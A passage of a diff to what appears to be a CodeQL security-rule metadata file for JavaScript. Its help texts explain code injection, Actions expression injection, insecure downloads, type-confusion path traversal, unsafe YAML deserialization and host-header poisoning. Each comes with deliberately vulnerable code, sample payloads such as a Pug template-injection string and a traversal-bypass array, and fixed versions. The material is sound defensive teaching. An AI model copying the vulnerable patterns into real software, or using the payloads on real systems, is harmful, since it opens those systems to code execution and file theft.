[CWE-95](https://cwe.mitre.org/data/definitions/95.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n" + "text" : "# Download of sensitive file through insecure connection\nDownloading executables or other sensitive files over an unencrypted connection can leave a server open to man-in-the-middle attacks (MITM). Such an attack can allow an attacker to insert arbitrary content into the downloaded file, and in the worst case, allow the attacker to execute arbitrary code on the vulnerable system.\n\n\n## Recommendation\nUse a secure transfer protocol when downloading executables or other sensitive files.\n\n\n## Example\nIn this example, a server downloads a shell script from a remote URL using the `node-fetch` library, and then executes this shell script.\n\n\n```javascript\nconst fetch = require(\"node-fetch\");\nconst cp = require(\"child_process\");\n\nfetch('http://mydownload.example.org/myscript.sh')\n .then(res => res.text())\n .then(script => cp.execSync(script));\n```\nThe HTTP protocol is vulnerable to MITM, and thus an attacker could potentially replace the downloaded shell script with arbitrary code, which gives the attacker complete control over the system.\n\nThe issue has been fixed in the example below by replacing the HTTP protocol with the HTTPS protocol.\n\n\n```javascript\nconst fetch = require(\"node-fetch\");\nconst cp = require(\"child_process\");\n\nfetch('https://mydownload.example.org/myscript.sh')\n .then(res => res.text())\n .then(script => cp.execSync(script));\n```\n\n## References\n* Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html).\n", + "markdown" : "# Download of sensitive file through insecure connection\nDownloading executables or other sensitive files over an unencrypted connection can leave a server open to man-in-the-middle attacks (MITM). Such an attack can allow an attacker to insert arbitrary content into the downloaded file, and in the worst case, allow the attacker to execute arbitrary code on the vulnerable system.\n\n\n## Recommendation\nUse a secure transfer protocol when downloading executables or other sensitive files.\n\n\n## Example\nIn this example, a server downloads a shell script from a remote URL using the `node-fetch` library, and then executes this shell script.\n\n\n```javascript\nconst fetch = require(\"node-fetch\");\nconst cp = require(\"child_process\");\n\nfetch('http://mydownload.example.org/myscript.sh')\n .then(res => res.text())\n .then(script => cp.execSync(script));\n```\nThe HTTP protocol is vulnerable to MITM, and thus an attacker could potentially replace the downloaded shell script with arbitrary code, which gives the attacker complete control over the system.\n\nThe issue has been fixed in the example below by replacing the HTTP protocol with the HTTPS protocol.\n\n\n```javascript\nconst fetch = require(\"node-fetch\");\nconst cp = require(\"child_process\");\n\nfetch('https://mydownload.example.org/myscript.sh')\n .then(res => res.text())\n .then(script => cp.execSync(script));\n```\n\n## References\n* Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-094", "external/cwe/cwe-095", "external/cwe/cwe-079", "external/cwe/cwe-116" ], - "description" : "Interpreting unsanitized user input as code allows a malicious user arbitrary\n code execution.", - "id" : "js/code-injection", + "tags" : [ "security", "external/cwe/cwe-829" ], + "description" : "Downloading executables and other sensitive files over an insecure connection\n opens up for potential man-in-the-middle attacks.", + "id" : "js/insecure-download", "kind" : "path-problem", - "name" : "Code injection", + "name" : "Download of sensitive file through insecure connection", "precision" : "high", "problem.severity" : "error", - "security-severity" : "9.3" + "security-severity" : "8.1" } }, { "id" : "js/unsafe-dynamic-method-access", @@ -1731,30 +1839,30 @@ "security-severity" : "9.3" } }, { - "id" : "js/actions/command-injection", - "name" : "js/actions/command-injection", + "id" : "js/code-injection", + "name" : "js/code-injection", "shortDescription" : { - "text" : "Expression injection in Actions" + "text" : "Code injection" }, "fullDescription" : { - "text" : "Using user-controlled GitHub Actions contexts like `run:` or `script:` may allow a malicious user to inject code into the GitHub action." + "text" : "Interpreting unsanitized user input as code allows a malicious user arbitrary code execution." }, "defaultConfiguration" : { "enabled" : true, - "level" : "warning" + "level" : "error" }, "help" : { - "text" : "# Expression injection in Actions\nUsing user-controlled input in GitHub Actions may lead to code injection in contexts like *run:* or *script:*.\n\nCode injection in GitHub Actions may allow an attacker to exfiltrate any secrets used in the workflow and the temporary GitHub repository authorization token. The token might have write access to the repository, allowing an attacker to use the token to make changes to the repository.\n\n\n## Recommendation\nThe best practice to avoid code injection vulnerabilities in GitHub workflows is to set the untrusted input value of the expression to an intermediate environment variable and then use the environment variable using the native syntax of the shell/script interpreter (that is, not *${{ env.VAR }}*).\n\nIt is also recommended to limit the permissions of any tokens used by a workflow such as the GITHUB_TOKEN.\n\n\n## Example\nThe following example lets a user inject an arbitrary shell command:\n\n\n```yaml\non: issue_comment\n\njobs:\n echo-body:\n runs-on: ubuntu-latest\n steps:\n - run: |\n echo '${{ github.event.comment.body }}'\n```\nThe following example uses an environment variable, but **still allows the injection** because of the use of expression syntax:\n\n\n```yaml\non: issue_comment\n\njobs:\n echo-body:\n runs-on: ubuntu-latest\n steps:\n - env:\n BODY: ${{ github.event.issue.body }}\n run: |\n echo '${{ env.BODY }}'\n```\nThe following example uses shell syntax to read the environment variable and will prevent the attack:\n\n\n```yaml\non: issue_comment\n\njobs:\n echo-body:\n runs-on: ubuntu-latest\n steps:\n - env:\n BODY: ${{ github.event.issue.body }}\n run: |\n echo \"$BODY\"\n\n```\n\n## References\n* GitHub Security Lab Research: [Keeping your GitHub Actions and workflows secure: Untrusted input](https://securitylab.github.com/research/github-actions-untrusted-input).\n* GitHub Docs: [Security hardening for GitHub Actions](https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions).\n* GitHub Docs: [Permissions for the GITHUB_TOKEN](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n", - "markdown" : "# Expression injection in Actions\nUsing user-controlled input in GitHub Actions may lead to code injection in contexts like *run:* or *script:*.\n\nCode injection in GitHub Actions may allow an attacker to exfiltrate any secrets used in the workflow and the temporary GitHub repository authorization token. The token might have write access to the repository, allowing an attacker to use the token to make changes to the repository.\n\n\n## Recommendation\nThe best practice to avoid code injection vulnerabilities in GitHub workflows is to set the untrusted input value of the expression to an intermediate environment variable and then use the environment variable using the native syntax of the shell/script interpreter (that is, not *${{ env.VAR }}*).\n\nIt is also recommended to limit the permissions of any tokens used by a workflow such as the GITHUB_TOKEN.\n\n\n## Example\nThe following example lets a user inject an arbitrary shell command:\n\n\n```yaml\non: issue_comment\n\njobs:\n echo-body:\n runs-on: ubuntu-latest\n steps:\n - run: |\n echo '${{ github.event.comment.body }}'\n```\nThe following example uses an environment variable, but **still allows the injection** because of the use of expression syntax:\n\n\n```yaml\non: issue_comment\n\njobs:\n echo-body:\n runs-on: ubuntu-latest\n steps:\n - env:\n BODY: ${{ github.event.issue.body }}\n run: |\n echo '${{ env.BODY }}'\n```\nThe following example uses shell syntax to read the environment variable and will prevent the attack:\n\n\n```yaml\non: issue_comment\n\njobs:\n echo-body:\n runs-on: ubuntu-latest\n steps:\n - env:\n BODY: ${{ github.event.issue.body }}\n run: |\n echo \"$BODY\"\n\n```\n\n## References\n* GitHub Security Lab Research: [Keeping your GitHub Actions and workflows secure: Untrusted input](https://securitylab.github.com/research/github-actions-untrusted-input).\n* GitHub Docs: [Security hardening for GitHub Actions](https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions).\n* GitHub Docs: [Permissions for the GITHUB_TOKEN](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n" + "text" : "# Code injection\nDirectly evaluating user input (for example, an HTTP request parameter) as code without properly sanitizing the input first allows an attacker arbitrary code execution. This can occur when user input is treated as JavaScript, or passed to a framework which interprets it as an expression to be evaluated. Examples include AngularJS expressions or JQuery selectors.\n\n\n## Recommendation\nAvoid including user input in any expression which may be dynamically evaluated. If user input must be included, use context-specific escaping before including it. It is important that the correct escaping is used for the type of evaluation that will occur.\n\n\n## Example\nThe following example shows part of the page URL being evaluated as JavaScript code. This allows an attacker to provide JavaScript within the URL. If an attacker can persuade a user to click on a link to such a URL, the attacker can evaluate arbitrary JavaScript in the browser of the user to, for example, steal cookies containing session information.\n\n\n```javascript\neval(document.location.href.substring(document.location.href.indexOf(\"default=\")+8))\n\n```\nThe following example shows a Pug template being constructed from user input, allowing attackers to run arbitrary code via a payload such as `#{global.process.exit(1)}`.\n\n\n```javascript\nconst express = require('express')\nvar pug = require('pug');\nconst app = express()\n\napp.post('/', (req, res) => {\n var input = req.query.username;\n var template = `\ndoctype\nhtml\nhead\n title= 'Hello world'\nbody\n form(action='/' method='post')\n input#name.form-control(type='text)\n button.btn.btn-primary(type='submit') Submit\n p Hello `+ input\n var fn = pug.compile(template);\n var html = fn();\n res.send(html);\n})\n\n```\nBelow is an example of how to use a template engine without any risk of template injection. The user input is included via an interpolation expression `#{username}` whose value is provided as an option to the template, instead of being part of the template string itself:\n\n\n```javascript\nconst express = require('express')\nvar pug = require('pug');\nconst app = express()\n\napp.post('/', (req, res) => {\n var input = req.query.username;\n var template = `\ndoctype\nhtml\nhead\n title= 'Hello world'\nbody\n form(action='/' method='post')\n input#name.form-control(type='text)\n button.btn.btn-primary(type='submit') Submit\n p Hello #{username}`\n var fn = pug.compile(template);\n var html = fn({username: input});\n res.send(html);\n})\n\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection).\n* PortSwigger Research Blog: [Server-Side Template Injection](https://portswigger.net/research/server-side-template-injection).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-95](https://cwe.mitre.org/data/definitions/95.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n", + "markdown" : "# Code injection\nDirectly evaluating user input (for example, an HTTP request parameter) as code without properly sanitizing the input first allows an attacker arbitrary code execution. This can occur when user input is treated as JavaScript, or passed to a framework which interprets it as an expression to be evaluated. Examples include AngularJS expressions or JQuery selectors.\n\n\n## Recommendation\nAvoid including user input in any expression which may be dynamically evaluated. If user input must be included, use context-specific escaping before including it. It is important that the correct escaping is used for the type of evaluation that will occur.\n\n\n## Example\nThe following example shows part of the page URL being evaluated as JavaScript code. This allows an attacker to provide JavaScript within the URL. If an attacker can persuade a user to click on a link to such a URL, the attacker can evaluate arbitrary JavaScript in the browser of the user to, for example, steal cookies containing session information.\n\n\n```javascript\neval(document.location.href.substring(document.location.href.indexOf(\"default=\")+8))\n\n```\nThe following example shows a Pug template being constructed from user input, allowing attackers to run arbitrary code via a payload such as `#{global.process.exit(1)}`.\n\n\n```javascript\nconst express = require('express')\nvar pug = require('pug');\nconst app = express()\n\napp.post('/', (req, res) => {\n var input = req.query.username;\n var template = `\ndoctype\nhtml\nhead\n title= 'Hello world'\nbody\n form(action='/' method='post')\n input#name.form-control(type='text)\n button.btn.btn-primary(type='submit') Submit\n p Hello `+ input\n var fn = pug.compile(template);\n var html = fn();\n res.send(html);\n})\n\n```\nBelow is an example of how to use a template engine without any risk of template injection. The user input is included via an interpolation expression `#{username}` whose value is provided as an option to the template, instead of being part of the template string itself:\n\n\n```javascript\nconst express = require('express')\nvar pug = require('pug');\nconst app = express()\n\napp.post('/', (req, res) => {\n var input = req.query.username;\n var template = `\ndoctype\nhtml\nhead\n title= 'Hello world'\nbody\n form(action='/' method='post')\n input#name.form-control(type='text)\n button.btn.btn-primary(type='submit') Submit\n p Hello #{username}`\n var fn = pug.compile(template);\n var html = fn({username: input});\n res.send(html);\n})\n\n```\n\n## References\n* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection).\n* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection).\n* PortSwigger Research Blog: [Server-Side Template Injection](https://portswigger.net/research/server-side-template-injection).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-95](https://cwe.mitre.org/data/definitions/95.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n" }, "properties" : { - "tags" : [ "actions", "security", "external/cwe/cwe-094" ], - "description" : "Using user-controlled GitHub Actions contexts like `run:` or `script:` may allow a malicious\n user to inject code into the GitHub action.", - "id" : "js/actions/command-injection", - "kind" : "problem", - "name" : "Expression injection in Actions", + "tags" : [ "security", "external/cwe/cwe-094", "external/cwe/cwe-095", "external/cwe/cwe-079", "external/cwe/cwe-116" ], + "description" : "Interpreting unsanitized user input as code allows a malicious user arbitrary\n code execution.", + "id" : "js/code-injection", + "kind" : "path-problem", + "name" : "Code injection", "precision" : "high", - "problem.severity" : "warning", + "problem.severity" : "error", "security-severity" : "9.3" } }, { @@ -1785,598 +1893,544 @@ "security-severity" : "6.1" } }, { - "id" : "js/type-confusion-through-parameter-tampering", - "name" : "js/type-confusion-through-parameter-tampering", - "shortDescription" : { - "text" : "Type confusion through parameter tampering" - }, - "fullDescription" : { - "text" : "Sanitizing an HTTP request parameter may be ineffective if the user controls its type." - }, - "defaultConfiguration" : { - "enabled" : true, - "level" : "error" - }, - "help" : { - "text" : "# Type confusion through parameter tampering\nSanitizing untrusted HTTP request parameters is a common technique for preventing injection attacks such as SQL injection or path traversal. This is sometimes done by checking if the request parameters contain blacklisted substrings.\n\nHowever, sanitizing request parameters assuming they have type `String` and using the builtin string methods such as `String.prototype.indexOf` is susceptible to type confusion attacks. In a type confusion attack, an attacker tampers with an HTTP request parameter such that it has a value of type `Array` instead of the expected type `String`. Furthermore, the content of the array has been crafted to bypass sanitizers by exploiting that some identically named methods of strings and arrays behave differently.\n\n\n## Recommendation\nCheck the runtime type of sanitizer inputs if the input type is user-controlled.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using prepared statements for SQL queries.\n\n\n## Example\nFor example, Node.js server frameworks usually present request parameters as strings. But if an attacker sends multiple request parameters with the same name, then the request parameter is represented as an array instead.\n\nIn the following example, a sanitizer checks that a path does not contain the `\"..\"` string, which would allow an attacker to access content outside a user-accessible directory.\n\n\n```javascript\nvar app = require(\"express\")(),\n path = require(\"path\");\n\napp.get(\"/user-files\", function(req, res) {\n var file = req.param(\"file\");\n if (file.indexOf(\"..\") !== -1) {\n // BAD\n // we forbid relative paths that contain ..\n // as these could leave the public directory\n res.status(400).send(\"Bad request\");\n } else {\n var absolute = path.resolve(\"/public/\" + file);\n console.log(\"Sending file: %s\", absolute);\n res.sendFile(absolute);\n }\n});\n\n```\nAs written, this sanitizer is ineffective: an array like `[\"../\", \"/../secret.txt\"]` will bypass the sanitizer. The array does not contain `\"..\"` as an element, so the call to `indexOf` returns `-1` . This is problematic since the value of the `absolute` variable then ends up being `\"/secret.txt\"`. This happens since the concatenation of `\"/public/\"` and the array results in `\"/public/../,/../secret.txt\"`, which the `resolve`-call converts to `\"/secret.txt\"`.\n\nTo fix the sanitizer, check that the request parameter is a string, and not an array:\n\n\n```javascript\nvar app = require(\"express\")(),\n path = require(\"path\");\n\napp.get(\"/user-files\", function(req, res) {\n var file = req.param(\"file\");\n if (typeof file !== 'string' || file.indexOf(\"..\") !== -1) {\n // GOOD\n // we forbid relative paths that contain ..\n // as these could leave the public directory\n res.status(400).send(\"Bad request\");\n } else {\n var absolute = path.resolve(\"/public/\" + file);\n console.log(\"Sending file: %s\", absolute);\n res.sendFile(absolute);\n }\n});\n\n```\n\n## References\n* Node.js API: [querystring](https://nodejs.org/api/querystring.html).\n* Common Weakness Enumeration: [CWE-843](https://cwe.mitre.org/data/definitions/843.html).\n", - "markdown" : "# Type confusion through parameter tampering\nSanitizing untrusted HTTP request parameters is a common technique for preventing injection attacks such as SQL injection or path traversal. This is sometimes done by checking if the request parameters contain blacklisted substrings.\n\nHowever, sanitizing request parameters assuming they have type `String` and using the builtin string methods such as `String.prototype.indexOf` is susceptible to type confusion attacks. In a type confusion attack, an attacker tampers with an HTTP request parameter such that it has a value of type `Array` instead of the expected type `String`. Furthermore, the content of the array has been crafted to bypass sanitizers by exploiting that some identically named methods of strings and arrays behave differently.\n\n\n## Recommendation\nCheck the runtime type of sanitizer inputs if the input type is user-controlled.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using prepared statements for SQL queries.\n\n\n## Example\nFor example, Node.js server frameworks usually present request parameters as strings. But if an attacker sends multiple request parameters with the same name, then the request parameter is represented as an array instead.\n\nIn the following example, a sanitizer checks that a path does not contain the `\"..\"` string, which would allow an attacker to access content outside a user-accessible directory.\n\n\n```javascript\nvar app = require(\"express\")(),\n path = require(\"path\");\n\napp.get(\"/user-files\", function(req, res) {\n var file = req.param(\"file\");\n if (file.indexOf(\"..\") !== -1) {\n // BAD\n // we forbid relative paths that contain ..\n // as these could leave the public directory\n res.status(400).send(\"Bad request\");\n } else {\n var absolute = path.resolve(\"/public/\" + file);\n console.log(\"Sending file: %s\", absolute);\n res.sendFile(absolute);\n }\n});\n\n```\nAs written, this sanitizer is ineffective: an array like `[\"../\", \"/../secret.txt\"]` will bypass the sanitizer. The array does not contain `\"..\"` as an element, so the call to `indexOf` returns `-1` . This is problematic since the value of the `absolute` variable then ends up being `\"/secret.txt\"`. This happens since the concatenation of `\"/public/\"` and the array results in `\"/public/../,/../secret.txt\"`, which the `resolve`-call converts to `\"/secret.txt\"`.\n\nTo fix the sanitizer, check that the request parameter is a string, and not an array:\n\n\n```javascript\nvar app = require(\"express\")(),\n path = require(\"path\");\n\napp.get(\"/user-files\", function(req, res) {\n var file = req.param(\"file\");\n if (typeof file !== 'string' || file.indexOf(\"..\") !== -1) {\n // GOOD\n // we forbid relative paths that contain ..\n // as these could leave the public directory\n res.status(400).send(\"Bad request\");\n } else {\n var absolute = path.resolve(\"/public/\" + file);\n console.log(\"Sending file: %s\", absolute);\n res.sendFile(absolute);\n }\n});\n\n```\n\n## References\n* Node.js API: [querystring](https://nodejs.org/api/querystring.html).\n* Common Weakness Enumeration: [CWE-843](https://cwe.mitre.org/data/definitions/843.html).\n" - }, - "properties" : { - "tags" : [ "security", "external/cwe/cwe-843" ], - "description" : "Sanitizing an HTTP request parameter may be ineffective if the user controls its type.", - "id" : "js/type-confusion-through-parameter-tampering", - "kind" : "path-problem", - "name" : "Type confusion through parameter tampering", - "precision" : "high", - "problem.severity" : "error", - "security-severity" : "9.8" - } - }, { - "id" : "js/unsafe-deserialization", - "name" : "js/unsafe-deserialization", + "id" : "js/actions/command-injection", + "name" : "js/actions/command-injection", "shortDescription" : { - "text" : "Deserialization of user-controlled data" + "text" : "Expression injection in Actions" }, "fullDescription" : { - "text" : "Deserializing user-controlled data may allow attackers to execute arbitrary code." + "text" : "Using user-controlled GitHub Actions contexts like `run:` or `script:` may allow a malicious user to inject code into the GitHub action." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# Deserialization of user-controlled data\nDeserializing untrusted data using any deserialization framework that allows the construction of arbitrary functions is easily exploitable and, in many cases, allows an attacker to execute arbitrary code.\n\n\n## Recommendation\nAvoid deserialization of untrusted data if at all possible. If the architecture permits it, then use formats like JSON or XML that cannot represent functions. When using YAML or other formats that support the serialization and deserialization of functions, ensure that the parser is configured to disable deserialization of arbitrary functions.\n\n\n## Example\nThe following example calls the `load` function of the popular `js-yaml` package on data that comes from an HTTP request and hence is inherently unsafe.\n\n\n```javascript\nconst app = require(\"express\")(),\n jsyaml = require(\"js-yaml\");\n\napp.get(\"load\", function(req, res) {\n let data = jsyaml.load(req.params.data);\n // ...\n});\n\n```\nUsing the `safeLoad` function instead (which does not deserialize YAML-encoded functions) removes the vulnerability.\n\n\n```javascript\nconst app = require(\"express\")(),\n jsyaml = require(\"js-yaml\");\n\napp.get(\"load\", function(req, res) {\n let data = jsyaml.safeLoad(req.params.data);\n // ...\n});\n\n```\n\n## References\n* OWASP vulnerability description: [Deserialization of untrusted data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data).\n* OWASP guidance on deserializing objects: [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html).\n* Neal Poole: [Code Execution via YAML in JS-YAML Node.js Module](https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/).\n* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html).\n", - "markdown" : "# Deserialization of user-controlled data\nDeserializing untrusted data using any deserialization framework that allows the construction of arbitrary functions is easily exploitable and, in many cases, allows an attacker to execute arbitrary code.\n\n\n## Recommendation\nAvoid deserialization of untrusted data if at all possible. If the architecture permits it, then use formats like JSON or XML that cannot represent functions. When using YAML or other formats that support the serialization and deserialization of functions, ensure that the parser is configured to disable deserialization of arbitrary functions.\n\n\n## Example\nThe following example calls the `load` function of the popular `js-yaml` package on data that comes from an HTTP request and hence is inherently unsafe.\n\n\n```javascript\nconst app = require(\"express\")(),\n jsyaml = require(\"js-yaml\");\n\napp.get(\"load\", function(req, res) {\n let data = jsyaml.load(req.params.data);\n // ...\n});\n\n```\nUsing the `safeLoad` function instead (which does not deserialize YAML-encoded functions) removes the vulnerability.\n\n\n```javascript\nconst app = require(\"express\")(),\n jsyaml = require(\"js-yaml\");\n\napp.get(\"load\", function(req, res) {\n let data = jsyaml.safeLoad(req.params.data);\n // ...\n});\n\n```\n\n## References\n* OWASP vulnerability description: [Deserialization of untrusted data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data).\n* OWASP guidance on deserializing objects: [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html).\n* Neal Poole: [Code Execution via YAML in JS-YAML Node.js Module](https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/).\n* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html).\n" + "text" : "# Expression injection in Actions\nUsing user-controlled input in GitHub Actions may lead to code injection in contexts like *run:* or *script:*.\n\nCode injection in GitHub Actions may allow an attacker to exfiltrate any secrets used in the workflow and the temporary GitHub repository authorization token. The token might have write access to the repository, allowing an attacker to use the token to make changes to the repository.\n\n\n## Recommendation\nThe best practice to avoid code injection vulnerabilities in GitHub workflows is to set the untrusted input value of the expression to an intermediate environment variable and then use the environment variable using the native syntax of the shell/script interpreter (that is, not *${{ env.VAR }}*).\n\nIt is also recommended to limit the permissions of any tokens used by a workflow such as the GITHUB_TOKEN.\n\n\n## Example\nThe following example lets a user inject an arbitrary shell command:\n\n\n```yaml\non: issue_comment\n\njobs:\n echo-body:\n runs-on: ubuntu-latest\n steps:\n - run: |\n echo '${{ github.event.comment.body }}'\n```\nThe following example uses an environment variable, but **still allows the injection** because of the use of expression syntax:\n\n\n```yaml\non: issue_comment\n\njobs:\n echo-body:\n runs-on: ubuntu-latest\n steps:\n - env:\n BODY: ${{ github.event.issue.body }}\n run: |\n echo '${{ env.BODY }}'\n```\nThe following example uses shell syntax to read the environment variable and will prevent the attack:\n\n\n```yaml\non: issue_comment\n\njobs:\n echo-body:\n runs-on: ubuntu-latest\n steps:\n - env:\n BODY: ${{ github.event.issue.body }}\n run: |\n echo \"$BODY\"\n\n```\n\n## References\n* GitHub Security Lab Research: [Keeping your GitHub Actions and workflows secure: Untrusted input](https://securitylab.github.com/research/github-actions-untrusted-input).\n* GitHub Docs: [Security hardening for GitHub Actions](https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions).\n* GitHub Docs: [Permissions for the GITHUB_TOKEN](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n", + "markdown" : "# Expression injection in Actions\nUsing user-controlled input in GitHub Actions may lead to code injection in contexts like *run:* or *script:*.\n\nCode injection in GitHub Actions may allow an attacker to exfiltrate any secrets used in the workflow and the temporary GitHub repository authorization token. The token might have write access to the repository, allowing an attacker to use the token to make changes to the repository.\n\n\n## Recommendation\nThe best practice to avoid code injection vulnerabilities in GitHub workflows is to set the untrusted input value of the expression to an intermediate environment variable and then use the environment variable using the native syntax of the shell/script interpreter (that is, not *${{ env.VAR }}*).\n\nIt is also recommended to limit the permissions of any tokens used by a workflow such as the GITHUB_TOKEN.\n\n\n## Example\nThe following example lets a user inject an arbitrary shell command:\n\n\n```yaml\non: issue_comment\n\njobs:\n echo-body:\n runs-on: ubuntu-latest\n steps:\n - run: |\n echo '${{ github.event.comment.body }}'\n```\nThe following example uses an environment variable, but **still allows the injection** because of the use of expression syntax:\n\n\n```yaml\non: issue_comment\n\njobs:\n echo-body:\n runs-on: ubuntu-latest\n steps:\n - env:\n BODY: ${{ github.event.issue.body }}\n run: |\n echo '${{ env.BODY }}'\n```\nThe following example uses shell syntax to read the environment variable and will prevent the attack:\n\n\n```yaml\non: issue_comment\n\njobs:\n echo-body:\n runs-on: ubuntu-latest\n steps:\n - env:\n BODY: ${{ github.event.issue.body }}\n run: |\n echo \"$BODY\"\n\n```\n\n## References\n* GitHub Security Lab Research: [Keeping your GitHub Actions and workflows secure: Untrusted input](https://securitylab.github.com/research/github-actions-untrusted-input).\n* GitHub Docs: [Security hardening for GitHub Actions](https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions).\n* GitHub Docs: [Permissions for the GITHUB_TOKEN](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-502" ], - "description" : "Deserializing user-controlled data may allow attackers to\n execute arbitrary code.", - "id" : "js/unsafe-deserialization", - "kind" : "path-problem", - "name" : "Deserialization of user-controlled data", + "tags" : [ "actions", "security", "external/cwe/cwe-094" ], + "description" : "Using user-controlled GitHub Actions contexts like `run:` or `script:` may allow a malicious\n user to inject code into the GitHub action.", + "id" : "js/actions/command-injection", + "kind" : "problem", + "name" : "Expression injection in Actions", "precision" : "high", "problem.severity" : "warning", - "security-severity" : "9.8" + "security-severity" : "9.3" } }, { - "id" : "js/host-header-forgery-in-email-generation", - "name" : "js/host-header-forgery-in-email-generation", + "id" : "js/clear-text-logging", + "name" : "js/clear-text-logging", "shortDescription" : { - "text" : "Host header poisoning in email generation" + "text" : "Clear-text logging of sensitive information" }, "fullDescription" : { - "text" : "Using the HTTP Host header to construct a link in an email can facilitate phishing attacks and leak password reset tokens." + "text" : "Logging sensitive information without encryption or hashing can expose it to an attacker." }, "defaultConfiguration" : { "enabled" : true, "level" : "error" }, "help" : { - "text" : "# Host header poisoning in email generation\nUsing the HTTP Host header to construct a link in an email can facilitate phishing attacks and leak password reset tokens. A malicious user can send an HTTP request to the targeted web site, but with a Host header that refers to his own web site. This means the emails will be sent out to potential victims, originating from a server they trust, but with links leading to a malicious web site.\n\nIf the email contains a password reset link, and should the victim click the link, the secret reset token will be leaked to the attacker. Using the leaked token, the attacker can then construct the real reset link and use it to change the victim's password.\n\n\n## Recommendation\nObtain the server's host name from a configuration file and avoid relying on the Host header.\n\n\n## Example\nThe following example uses the `req.host` to generate a password reset link. This value is derived from the Host header, and can thus be set to anything by an attacker:\n\n\n```javascript\nlet nodemailer = require('nodemailer');\nlet express = require('express');\nlet backend = require('./backend');\n\nlet app = express();\n\nlet config = JSON.parse(fs.readFileSync('config.json', 'utf8'));\n\napp.post('/resetpass', (req, res) => {\n let email = req.query.email;\n let transport = nodemailer.createTransport(config.smtp);\n let token = backend.getUserSecretResetToken(email);\n transport.sendMail({\n from: 'webmaster@example.com',\n to: email,\n subject: 'Forgot password',\n text: `Click to reset password: https://${req.host}/resettoken/${token}`,\n });\n});\n\n```\nTo ensure the link refers to the correct web site, get the host name from a configuration file:\n\n\n```javascript\nlet nodemailer = require('nodemailer');\nlet express = require('express');\nlet backend = require('./backend');\n\nlet app = express();\n\nlet config = JSON.parse(fs.readFileSync('config.json', 'utf8'));\n\napp.post('/resetpass', (req, res) => {\n let email = req.query.email;\n let transport = nodemailer.createTransport(config.smtp);\n let token = backend.getUserSecretResetToken(email);\n transport.sendMail({\n from: 'webmaster@example.com',\n to: email,\n subject: 'Forgot password',\n text: `Click to reset password: https://${config.hostname}/resettoken/${token}`,\n });\n});\n\n```\n\n## References\n* Mitre: [CWE-640: Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html).\n* Ian Muscat: [What is a Host Header Attack?](https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/).\n* Common Weakness Enumeration: [CWE-640](https://cwe.mitre.org/data/definitions/640.html).\n", - "markdown" : "# Host header poisoning in email generation\nUsing the HTTP Host header to construct a link in an email can facilitate phishing attacks and leak password reset tokens. A malicious user can send an HTTP request to the targeted web site, but with a Host header that refers to his own web site. This means the emails will be sent out to potential victims, originating from a server they trust, but with links leading to a malicious web site.\n\nIf the email contains a password reset link, and should the victim click the link, the secret reset token will be leaked to the attacker. Using the leaked token, the attacker can then construct the real reset link and use it to change the victim's password.\n\n\n## Recommendation\nObtain the server's host name from a configuration file and avoid relying on the Host header.\n\n\n## Example\nThe following example uses the `req.host` to generate a password reset link. This value is derived from the Host header, and can thus be set to anything by an attacker:\n\n\n```javascript\nlet nodemailer = require('nodemailer');\nlet express = require('express');\nlet backend = require('./backend');\n\nlet app = express();\n\nlet config = JSON.parse(fs.readFileSync('config.json', 'utf8'));\n\napp.post('/resetpass', (req, res) => {\n let email = req.query.email;\n let transport = 